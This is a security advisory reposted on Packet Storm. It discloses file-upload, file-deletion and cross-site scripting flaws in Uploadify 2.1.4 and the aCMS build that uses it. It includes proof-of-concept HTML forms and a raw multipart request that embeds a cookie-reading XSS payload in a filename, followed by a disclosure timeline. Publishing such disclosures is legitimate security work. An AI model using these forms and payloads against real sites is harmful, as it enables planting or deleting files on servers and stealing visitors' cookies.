Exploit the possiblities

Uploadify 2.1.4 File Upload / XSS / File Deletion

Uploadify 2.1.4 File Upload / XSS / File Deletion
Posted Sep 13, 2013
Authored by MustLive

Uploadify version 2.1.4 suffers from cross site scripting, arbitrary file deletion, and arbitrary file upload vulnerabilities.

tags | exploit, arbitrary, vulnerability, xss, file upload
MD5 | 7fc4fc40c8456ae9fc0b228e910ab155

Uploadify 2.1.4 File Upload / XSS / File Deletion

Change Mirror Download
Hello list!

These are Arbitrary File Uploading, Arbitrary File Deletion and Cross-Site
Scripting vulnerabilities in Uploadify. Particularly in the version used in
aCMS (it looks like these developers use modified version of Uploadify, but
other developers also can use such version).

-------------------------
Affected products:
-------------------------

Vulnerable are Uploadify v2.1.4 and potentially other versions. Particularly
version in aCMS. Versions Uploadify 3.x are not vulnerable.

----------
Details:
----------

Arbitrary File Uploading (WASC-31):

http://websecurity.com.ua/uploads/2013/Uploadify%20AFU.html

<body>
<form action="http://site/uploadify.php" method="post"
enctype="multipart/form-data">
<input type="file" name="Filedata">
<input type="hidden" name="folder" value="/uploadify/">
<input type="submit" value="OK">
</form>
</body>

Arbitrary File Deletion (WASC-42):

http://websecurity.com.ua/uploads/2013/Uploadify%20AFD.html

<body>
<form action="http://site/uploadify.php" method="post"
enctype="multipart/form-data">
<input type="file" name="test">
<input type="hidden" name="newfile" value="/full/path/uploadify/1">
<input type="submit" value="OK">
</form>
</body>

Cross-Site Scripting (WASC-08):

http://websecurity.com.ua/uploads/2013/Uploadify%20XSS.html

<body>
<form action="http://site/uploadify.php" method="post"
enctype="multipart/form-data">
<input type="file" name="test">
<input type="hidden" name="newfile" value="<body
onload=alert(document.cookie)>">
<input type="submit" value="OK">
</form>
</body>

http://websecurity.com.ua/uploads/2013/Uploadify%20XSS-2.html

<body>
<form action="http://site/uploadify.php" method="post"
enctype="multipart/form-data">
<input type="file" name="Filedata">
<input type="hidden" name="folder" value="/uploadify">
<input type="submit" value="OK">
</form>
</body>

The second attack can be done on Linux/Unix systems, where angle brackets
can be used, or with spoofing headers.

With the next headers (to specify XSS payload in extension):

POST http://site/uploadify.php

-----------------------------240841995418756\r\n
Content-Disposition: form-data; name="Filedata"; filename="test.<body
onload=with(document)alert(cookie)>"\r\n
Content-Type: application/octet-stream\r\n
\r\n
test\r\n
\r\n
-----------------------------240841995418756\r\n
Content-Disposition: form-data; name="folder"\r\n
\r\n
/uploadify\r\n
-----------------------------240841995418756--\r\n

------------
Timeline:
------------

2013.03.04 - informed developers of aCMS about part of the vulnerabilities.
2013.04.03 - informed developers of aCMS about another part of the
vulnerabilities.
2013.04.07 - informed developers of aCMS about another part of the
vulnerabilities.
2013.05.25 - informed developers of aCMS about another part of the
vulnerabilities.
2013.05.26 - informed developers of aCMS about another part of the
vulnerabilities.
In all cases the developers just ignored all messages via different e-mails
and contact form.
2013.06.12 - announced at my site.
2013.06.22 - informed developers of Uploadify.
2013.09.12 - disclosed at my site (http://websecurity.com.ua/6566/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    0 Files
  • 17
    Jan 17th
    0 Files
  • 18
    Jan 18th
    0 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close